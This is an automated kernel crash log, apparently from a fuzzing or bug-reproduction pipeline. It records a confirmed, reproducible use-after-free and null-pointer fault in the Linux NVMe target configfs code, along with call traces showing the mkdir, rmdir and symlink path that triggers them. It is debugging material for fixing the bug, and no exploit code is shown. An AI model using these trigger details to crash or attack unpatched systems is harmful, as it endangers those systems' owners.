Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f91213771f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
RBP: 00007f912341d060 R08: 00007f91213776c0 R09: 00007f91213776c0
R10: 00007f91213776c0 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000010 R14: 00007ffd84d38b60 R15: 00007ffd84d38c48
 </TASK>

Allocated by task 5852:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x331/0x660 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x40c/0x620 fs/namei.c:5410
 filename_mkdirat+0x285/0x510 fs/namei.c:5443
 __do_sys_mkdir fs/namei.c:5470 [inline]
 __se_sys_mkdir+0x34/0x150 fs/namei.c:5467
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 5854:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x640 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e6/0x6a0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_rmdir fs/namei.c:5595 [inline]
 __se_sys_rmdir+0x2e/0x140 fs/namei.c:5592
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff8881987a6000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff8881987a6000, ffff8881987a7000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1987a0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 16197662015
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x2c3/0x6b0 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __kmalloc_cache_noprof+0x3ab/0x660 mm/slub.c:5480
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 kobject_uevent_env+0x289/0x9e0 lib/kobject_uevent.c:543
 kernel_add_sysfs_param+0xb1/0xe0 kernel/params.c:803
 param_sysfs_builtin+0x199/0x250 kernel/params.c:838
 param_sysfs_builtin_init+0x23/0x30 kernel/params.c:974
 do_one_initcall+0x250/0x870 init/main.c:1353
 do_initcall_level+0x10a/0x1a0 init/main.c:1415
 do_initcalls+0x59/0xa0 init/main.c:1431
 kernel_init_freeable+0x29d/0x3e0 init/main.c:1666
 kernel_init+0x22/0x1d0 init/main.c:1556
page last free pid 10 tgid 10 ts 15528039329 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 free_pages_prepare+0x9b2/0xa90 mm/page_alloc.c:1463
 __free_contig_range_common+0x174/0x340 mm/page_alloc.c:7060
 __free_contig_range mm/page_alloc.c:7105 [inline]
 free_pages_bulk+0x48/0x120 mm/page_alloc.c:5322
 vm_area_free_pages mm/vmalloc.c:3462 [inline]
 vfree+0x226/0x4a0 mm/vmalloc.c:3511
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3415
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0x92d/0xe10 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff8881987a6380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff8881987a6480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff8881987a6500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
 CandidateReproduced:true ConsoleOutput:[   69.551455][   T32] kauditd_printk_skb: 10 callbacks suppressed
[   69.551466][   T32] audit: type=1400 audit(1787769237.324:201): avc:  denied  { transition } for  pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.561381][   T32] audit: type=1400 audit(1787769237.324:202): avc:  denied  { noatsecure } for  pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.567392][   T32] audit: type=1400 audit(1787769237.324:203): avc:  denied  { rlimitinh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.573276][   T32] audit: type=1400 audit(1787769237.324:204): avc:  denied  { siginh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.670837][ T1374] ieee802154 phy0 wpan0: encryption failed: -22
[   71.675473][ T1374] ieee802154 phy1 wpan1: encryption failed: -22
[   72.410299][   T32] audit: type=1400 audit(1787769240.184:205): avc:  denied  { write } for  pid=5827 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.454577][   T32] audit: type=1400 audit(1787769240.224:206): avc:  denied  { write } for  pid=5830 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.564435][   T32] audit: type=1400 audit(1787769240.334:207): avc:  denied  { write } for  pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.605419][   T32] audit: type=1400 audit(1787769240.374:208): avc:  denied  { write } for  pid=5836 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:47690' (ED25519) to the list of known hosts.
[   73.297618][   T32] audit: type=1400 audit(1787769241.064:209): avc:  denied  { write } for  pid=5847 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.314600][   T32] audit: type=1400 audit(1787769241.084:210): avc:  denied  { mounton } for  pid=5846 comm="syz-executor991" path="/sys/kernel/config" dev="configfs" ino=1085 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[+] Created subsys1 successfully.
[   73.380013][ T5855] ==================================================================
[   73.382579][ T5855] BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.385289][ T5855] Read of size 8 at addr ffff8881987a64c8 by task syz-executor991/5855
[   73.389237][ T5855] 
[   73.390028][ T5855] CPU: 0 UID: 0 PID: 5855 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
[   73.390041][ T5855] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   73.390047][ T5855] Call Trace:
[   73.390051][ T5855]  <TASK>
[   73.390055][ T5855]  dump_stack_lvl+0xe8/0x150
[   73.390069][ T5855]  print_address_description+0x55/0x1e0
[   73.390081][ T5855]  ? nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.390093][ T5855]  print_report+0x58/0x70
[   73.390103][ T5855]  kasan_report+0x117/0x150
[   73.390114][ T5855]  ? nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.390126][ T5855]  nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.390138][ T5855]  configfs_symlink+0x59a/0x1030
[   73.390152][ T5855]  ? __pfx_configfs_symlink+0x10/0x10
[   73.390164][ T5855]  ? bpf_lsm_inode_symlink+0x9/0x20
[   73.390173][ T5855]  vfs_symlink+0x18b/0x330
[   73.390182][ T5855]  ? security_path_symlink+0xfd/0x360
[   73.390195][ T5855]  filename_symlinkat+0x1cd/0x410
[   73.390205][ T5855]  ? __pfx_filename_symlinkat+0x10/0x10
[   73.390214][ T5855]  ? do_getname+0x151/0x250
[   73.390224][ T5855]  __se_sys_symlinkat+0x4e/0x2b0
[   73.390233][ T5855]  do_syscall_64+0x166/0x520
[   73.390245][ T5855]  ? trace_irq_disable+0x3b/0x140
[   73.390254][ T5855]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.390262][ T5855]  ? clear_bhb_loop+0x70/0xc0
[   73.390271][ T5855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.390279][ T5855] RIP: 0033:0x7f91233b0459
[   73.390287][ T5855] Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
[   73.390294][ T5855] RSP: 002b:00007f91213771f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
[   73.390303][ T5855] RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
[   73.390309][ T5855] RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
[   73.390314][ T5855] RBP: 00007f912341d060 R08: 00007f91213776c0 R09: 00007f91213776c0
[   73.390319][ T5855] R10: 00007f91213776c0 R11: 0000000000000246 R12: ffffffffffffffd0
[   73.390325][ T5855] R13: 0000000000000010 R14: 00007ffd84d38b60 R15: 00007ffd84d38c48
[   73.390333][ T5855]  </TASK>
[   73.390336][ T5855] 
[   73.455865][ T5855] Allocated by task 5852:
[   73.457216][ T5855]  kasan_save_track+0x3e/0x80
[   73.458703][ T5855]  __kasan_kmalloc+0x93/0xb0
[   73.460137][ T5855]  __kmalloc_cache_noprof+0x331/0x660
[   73.461802][ T5855]  nvmet_ports_make+0xe6/0xf00
[   73.463312][ T5855]  configfs_mkdir+0x4f6/0x9e0
[   73.464782][ T5855]  vfs_mkdir+0x40c/0x620
[   73.466100][ T5855]  filename_mkdirat+0x285/0x510
[   73.467635][ T5855]  __se_sys_mkdir+0x34/0x150
[   73.469073][ T5855]  do_syscall_64+0x166/0x520
[   73.470540][ T5855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.472355][ T5855] 
[   73.473118][ T5855] Freed by task 5854:
[   73.474359][ T5855]  kasan_save_track+0x3e/0x80
[   73.475822][ T5855]  kasan_save_free_info+0x40/0x50
[   73.477380][ T5855]  __kasan_slab_free+0x5c/0x80
[   73.478882][ T5855]  kfree+0x1c5/0x640
[   73.480103][ T5855]  config_item_release+0x13a/0x2d0
[   73.481709][ T5855]  configfs_rmdir+0x885/0x950
[   73.483186][ T5855]  vfs_rmdir+0x3e6/0x6a0
[   73.484511][ T5855]  filename_rmdir+0x292/0x520
[   73.485967][ T5855]  __se_sys_rmdir+0x2e/0x140
[   73.487400][ T5855]  do_syscall_64+0x166/0x520
[   73.488858][ T5855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.490687][ T5855] 
[   73.491448][ T5855] The buggy address belongs to the object at ffff8881987a6000
[   73.491448][ T5855]  which belongs to the cache kmalloc-4k of size 4096
[   73.495732][ T5855] The buggy address is located 1224 bytes inside of
[   73.495732][ T5855]  freed 4096-byte region [ffff8881987a6000, ffff8881987a7000)
[   73.499941][ T5855] 
[   73.500706][ T5855] The buggy address belongs to the physical page:
[   73.502711][ T5855] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1987a0
[   73.505455][ T5855] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   73.508058][ T5855] flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
[   73.510399][ T5855] page_type: f5(slab)
[   73.511659][ T5855] raw: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
[   73.514309][ T5855] raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
[   73.516948][ T5855] head: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
[   73.519625][ T5855] head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
[   73.522266][ T5855] head: 057ff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[   73.524946][ T5855] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[   73.527601][ T5855] page dumped because: kasan: bad access detected
[   73.529585][ T5855] page_owner tracks the page as allocated
[   73.531330][ T5855] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 16197662015
[   73.537015][ T5855]  post_alloc_hook+0x1f9/0x250
[   73.538537][ T5855]  get_page_from_freelist+0x2209/0x2280
[   73.540245][ T5855]  __alloc_frozen_pages_noprof+0x217/0x5a0
[   73.542051][ T5855]  allocate_slab+0x7c/0x5e0
[   73.543489][ T5855]  refill_objects+0x2d5/0x350
[   73.544952][ T5855]  __pcs_replace_empty_main+0x2c3/0x6b0
[   73.546678][ T5855]  __kmalloc_cache_noprof+0x3ab/0x660
[   73.548338][ T5855]  kobject_uevent_env+0x289/0x9e0
[   73.549919][ T5855]  kernel_add_sysfs_param+0xb1/0xe0
[   73.551541][ T5855]  param_sysfs_builtin+0x199/0x250
[   73.553141][ T5855]  param_sysfs_builtin_init+0x23/0x30
[   73.554848][ T5855]  do_one_initcall+0x250/0x870
[   73.556354][ T5855]  do_initcall_level+0x10a/0x1a0
[   73.557897][ T5855]  do_initcalls+0x59/0xa0
[   73.559252][ T5855]  kernel_init_freeable+0x29d/0x3e0
[   73.560872][ T5855]  kernel_init+0x22/0x1d0
[   73.562234][ T5855] page last free pid 10 tgid 10 ts 15528039329 stack trace:
[   73.564501][ T5855]  free_pages_prepare+0x9b2/0xa90
[   73.566070][ T5855]  __free_contig_range_common+0x174/0x340
[   73.567850][ T5855]  free_pages_bulk+0x48/0x120
[   73.569334][ T5855]  vfree+0x226/0x4a0
[   73.570587][ T5855]  delayed_vfree_work+0x55/0x80
[   73.572102][ T5855]  process_scheduled_works+0xc3d/0x1630
[   73.573876][ T5855]  worker_thread+0x92d/0xe10
[   73.575325][ T5855]  kthread+0x38b/0x480
[   73.576612][ T5855]  ret_from_fork+0x514/0xb70
[   73.578056][ T5855]  ret_from_fork_asm+0x1a/0x30
[   73.579582][ T5855] 
[   73.580330][ T5855] Memory state around the buggy address:
[   73.582064][ T5855]  ffff8881987a6380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.584549][ T5855]  ffff8881987a6400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.587011][ T5855] >ffff8881987a6480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.589469][ T5855]                                               ^
[   73.591444][ T5855]  ffff8881987a6500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.593919][ T5855]  ffff8881987a6580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.596369][ T5855] ==================================================================
[   73.616968][ T5851] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000022: 0000 [#1] SMP KASAN NOPTI
[   73.620720][ T5851] KASAN: null-ptr-deref in range [0x0000000000000110-0x0000000000000117]
[   73.623316][ T5851] CPU: 1 UID: 0 PID: 5851 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
[   73.626267][ T5851] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   73.629375][ T5851] RIP: 0010:nvmet_port_subsys_allow_link+0x102/0x2e0
[   73.631439][ T5851] Code: 89 6c 24 10 49 89 1c 24 48 c7 c7 00 84 93 8f e8 64 be 5a 05 48 89 6c 24 08 48 81 c5 10 01 00 00 49 89 ec 4c 89 e0 48 c1 e8 03 <42> 80 3c 38 00 74 08 4c 89 e7 e8 7f 9e cc fb 4d 8b 24 24 49 39 ec
[   73.637343][ T5851] RSP: 0018:ffffc900032efc30 EFLAGS: 00010206
[   73.639243][ T5851] RAX: 0000000000000022 RBX: ffff888196dc2000 RCX: ffffffff9aa21501
[   73.641679][ T5851] RDX: 0000000000000001 RSI: 0000000000000008 RDI: 00000000ffffffff
[   73.644165][ T5851] RBP: 0000000000000110 R08: ffffffff8f93840f R09: 1ffffffff1f27081
[   73.646622][ T5851] R10: dffffc0000000000 R11: fffffbfff1f27082 R12: 0000000000000110
[   73.649050][ T5851] R13: ffff888190bb2800 R14: ffff888196dc2190 R15: dffffc0000000000
[   73.651491][ T5851] FS:  00007f912337b6c0(0000) GS:ffff8882e8492000(0000) knlGS:0000000000000000
[   73.654209][ T5851] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   73.656239][ T5851] CR2: 00007fcd9cf4f4e8 CR3: 00000001fd38b000 CR4: 0000000000352ef0
[   73.658713][ T5851] Call Trace:
[   73.659769][ T5851]  <TASK>
[   73.660700][ T5851]  configfs_symlink+0x59a/0x1030
[   73.662241][ T5851]  ? __pfx_configfs_symlink+0x10/0x10
[   73.663923][ T5851]  ? bpf_lsm_inode_symlink+0x9/0x20
[   73.665537][ T5851]  vfs_symlink+0x18b/0x330
[   73.666918][ T5851]  ? security_path_symlink+0xfd/0x360
[   73.668594][ T5851]  filename_symlinkat+0x1cd/0x410
[   73.670151][ T5851]  ? __pfx_filename_symlinkat+0x10/0x10
[   73.671860][ T5851]  ? do_getname+0x151/0x250
[   73.673303][ T5851]  __se_sys_symlinkat+0x4e/0x2b0
[   73.674861][ T5851]  do_syscall_64+0x166/0x520
[   73.676308][ T5851]  ? trace_irq_disable+0x3b/0x140
[   73.677875][ T5851]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.679764][ T5851]  ? clear_bhb_loop+0x70/0xc0
[   73.681244][ T5851]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.683073][ T5851] RIP: 0033:0x7f91233b0459
[   73.684495][ T5851] Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
[   73.690351][ T5851] RSP: 002b:00007f912337b1f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
[   73.692937][ T5851] RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
[   73.695369][ T5851] RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
[   73.697819][ T5851] RBP: 00007f912341d060 R08: 00007f912337b6c0 R09: 00007f912337b6c0
[   73.700268][ T5851] R10: 00007f912337b6c0 R11: 0000000000000246 R12: ffffffffffffffd0
[   73.701719][ T5855] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   73.705640][ T5855] Kernel Offset: disabled
[   73.706987][ T5855] Rebooting in 86400 seconds..
 OtherCrashReports:<nil> StraceOutput: TestError:]

263/3 2026/08/26 18:34 action truncate-log
0m Results:
map[TruncatedConsoleOutput:[   69.551455][   T32] kauditd_printk_skb: 10 callbacks suppressed
[   69.551466][   T32] audit: type=1400 audit(1787769237.324:201): avc:  denied  { transition } for  pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.561381][   T32] audit: type=1400 audit(1787769237.324:202): avc:  denied  { noatsecure } for  pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.567392][   T32] audit: type=1400 audit(1787769237.324:203): avc:  denied  { rlimitinh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.573276][   T32] audit: type=1400 audit(1787769237.324:204): avc:  denied  { siginh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.670837][ T1374] ieee802154 phy0 wpan0: encryption failed: -22
[   71.675473][ T1374] ieee802154 phy1 wpan1: encryption failed: -22
[   72.410299][   T32] audit: type=1400 audit(1787769240.184:205): avc:  denied  { write } for  pid=5827 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.454577][   T32] audit: type=1400 audit(1787769240.224:206): avc:  denied  { write } for  pid=5830 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.564435][   T32] audit: type=1400 audit(1787769240.334:207): avc:  denied  { write } for  pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.605419][   T32] audit: type=1400 audit(1787769240.374:208): avc:  denied  { write } for  pid=5836 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:47690' (ED25519) to the list of known hosts.
[   73.297618][   T32] audit: type=1400 audit(1787769241.064:209): avc:  denied  { write } for  pid=5847 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.314600][   T32] audit: type=1400 audit(1787769241.084:210): avc:  denied  { mounton } for  pid=5846 comm="syz-executor991" path="/sys/kernel/config" dev="configfs" ino=1085 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[+] Created subsys1 successfully.
[   73.380013][ T5855] ==================================================================
[   73.382579][ T5855] BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.385289][ T5855] Read of size 8 at addr ffff8881987a64c8 by task syz-executor991/5855
[   73.389237][ T5855] 
[   73.390028][ T5855] CPU: 0 UID: 0 PID: 5855 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
[   73.390041][ T5855] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   73.390047][ T5855] Call Trace:
[   73.390051][ T5855]  <TASK>
[   73.390055][ T5855]  dump_stack_lvl+0xe8/0x150
[   73.390069][ T5855]  print_address_description+0x55/0x1e0
[   73.390081][ T5855]  ? nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.390093][ T5855]  print_report+0x58/0x70
[   73.390103][ T5855]  kasan_report+0x117/0x150
[   73.390114][ T5855]  ? nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.390126][ T5855]  nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.390138][ T5855]  configfs_symlink+0x59a/0x1030
[   73.390152][ T5855]  ? __pfx_configfs_symlink+0x10/0x10
[   73.390164][ T5855]  ? bpf_lsm_inode_symlink+0x9/0x20
[   73.390173][ T5855]  vfs_symlink+0x18b/0x330
[   73.390182][ T5855]  ? security_path_symlink+0xfd/0x360
[   73.390195][ T5855]  filename_symlinkat+0x1cd/0x410
[   73.390205][ T5855]  ? __pfx_filename_symlinkat+0x10/0x10
[   73.390214][ T5855]  ? do_getname+0x151/0x250
[   73.390224][ T5855]  __se_sys_symlinkat+0x4e/0x2b0
[   73.390233][ T5855]  do_syscall_64+0x166/0x520
[   73.390245][ T5855]  ? trace_irq_disable+0x3b/0x140
[   73.390254][ T5855]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.390262][ T5855]  ? clear_bhb_loop+0x70/0xc0
[   73.390271][ T5855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.390279][ T5855] RIP: 0033:0x7f91233b0459
[   73.390287][ T5855] Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
[   73.390294][ T5855] RSP: 002b:00007f91213771f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
[   73.390303][ T5855] RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
[   73.390309][ T5855] RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
[   73.390314][ T5855] RBP: 00007f912341d060 R08: 00007f91213776c0 R09: 00007f91213776c0
[   73.390319][ T5855] R10: 00007f91213776c0 R11: 0000000000000246 R12: ffffffffffffffd0
[   73.390325][ T5855] R13: 0000000000000010 R14: 00007ffd84d38b60 R15: 00007ffd84d38c48
[   73.390333][ T5855]  </TASK>
[   73.390336][ T5855] 
[   73.455865][ T5855] Allocated by task 5852:
[   73.457216][ T5855]  kasan_save_track+0x3e/0x80
[   73.458703][ T5855]  __kasan_kmalloc+0x93/0xb0
[   73.460137][ T5855]  __kmalloc_cache_noprof+0x331/0x660
[   73.461802][ T5855]  nvmet_ports_make+0xe6/0xf00
[   73.463312][ T5855]  configfs_mkdir+0x4f6/0x9e0
[   73.464782][ T5855]  vfs_mkdir+0x40c/0x620
[   73.466100][ T5855]  filename_mkdirat+0x285/0x510
[   73.467635][ T5855]  __se_sys_mkdir+0x34/0x150
[   73.469073][ T5855]  do_syscall_64+0x166/0x520
[   73.470540][ T5855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.472355][ T5855] 
[   73.473118][ T5855] Freed by task 5854:
[   73.474359][ T5855]  kasan_save_track+0x3e/0x80
[   73.475822][ T5855]  kasan_save_free_info+0x40/0x50
